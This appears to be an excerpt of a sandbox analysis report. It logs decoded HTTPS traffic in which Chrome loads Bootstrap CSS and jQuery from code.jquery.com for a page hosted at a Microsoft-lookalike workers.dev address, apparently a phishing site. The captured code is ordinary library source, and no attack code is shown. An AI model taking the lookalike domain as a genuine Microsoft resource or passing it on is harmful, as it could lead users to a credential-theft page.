2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 68 31 2c 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 2e 68 32 2c 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 2e 68 33 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 6d 7d 2e 68 34 2c 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 7d 2e 68 35 2c 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 7d 2e 68 36 2c 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 72 65 6d 7d 2e 6c 65 61 64 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 33 30 30 7d 2e 64 69 73 70 6c Data Ascii: ;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.displ
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 4d 65 6e 6c 6f 2c 4d 6f 6e 61 63 6f 2c 43 6f 6e 73 6f 6c 61 73 2c 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 6d 6f 6e 6f 73 70 61 63 65 7d 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 65 38 33 65 38 63 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 77 6f 72 64 7d 61 3e 63 6f 64 65 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 6b 62 64 7b 70 61 64 64 69 6e 67 3a 2e 32 72 65 6d 20 2e 34 72 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 37 2e 35 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 32 35 32 39 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 2e 32 72 65 6d 7d 6b 62 64 20 Data Ascii: Mono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 6d 64 2d 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 30 2c 2e 63 6f 6c 2d 6d 64 2d 31 31 2c 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 63 6f 6c 2d 6d 64 2d 32 2c 2e 63 6f 6c 2d 6d 64 2d 33 2c 2e 63 6f 6c 2d 6d 64 2d 34 2c 2e 63 6f 6c 2d 6d 64 2d 35 2c 2e 63 6f 6c 2d 6d 64 2d 36 2c 2e 63 6f 6c 2d 6d 64 2d 37 2c 2e 63 6f 6c 2d 6d 64 2d 38 2c 2e 63 6f 6c 2d 6d 64 2d 39 2c 2e 63 6f 6c 2d 6d 64 2d 61 75 74 6f 2c 2e 63 6f 6c 2d 73 6d 2c 2e 63 6f 6c 2d 73 6d 2d 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 30 2c 2e 63 6f 6c 2d 73 6d 2d 31 31 2c 2e 63 6f 6c 2d 73 6d 2d 31 32 2c 2e 63 6f 6c 2d 73 6d 2d 32 2c 2e 63 6f 6c 2d 73 6d 2d 33 2c 2e 63 6f 6c 2d 73 6d 2d 34 2c 2e 63 6f 6c 2d 73 6d 2d 35 2c 2e 63 6f 6c 2d 73 6d 2d 36 2c 2e 63 6f 6c 2d 73 6d 2d 37 2c 2e 63 6f 6c 2d 73 6d 2d 38 2c 2e 63 6f Data Ascii: md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.co
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 Data Ascii: 66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:9
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 31 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 Data Ascii: margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-lef
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 73 6d 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 30 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 2d 31 3b 6f 72 64 65 72 3a 2d 31 7d 2e 6f 72 64 65 72 2d 73 6d 2d Data Ascii: %}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49722	151.101.2.137	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:55 UTC	687	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://wmicrosouab-4ba8.udydzj.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://wmicrosouab-4ba8.udydzj.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:56 UTC	568	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 4703210 Date: Tue, 23 Apr 2024 23:33:56 GMT X-Served-By: cache-lga21980-LGA, cache-lax-kwhp1940108-LAX X-Cache: HIT, HIT X-Cache-Hits: 10, 0 X-Timer: S1713915236.083437,VS0,VE1 Vary: Accept-Encoding
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49720	151.101.2.137	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:55 UTC	641	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://wmicrosouab-4ba8.udydzj.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:56 UTC	568	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3683300 Date: Tue, 23 Apr 2024 23:33:56 GMT X-Served-By: cache-lga21947-LGA, cache-bur-kbur8200126-BUR X-Cache: HIT, HIT X-Cache-Hits: 162, 0 X-Timer: S1713915236.081554,VS0,VE1 Vary: Accept-Encoding
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-04-23 23:33:56 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 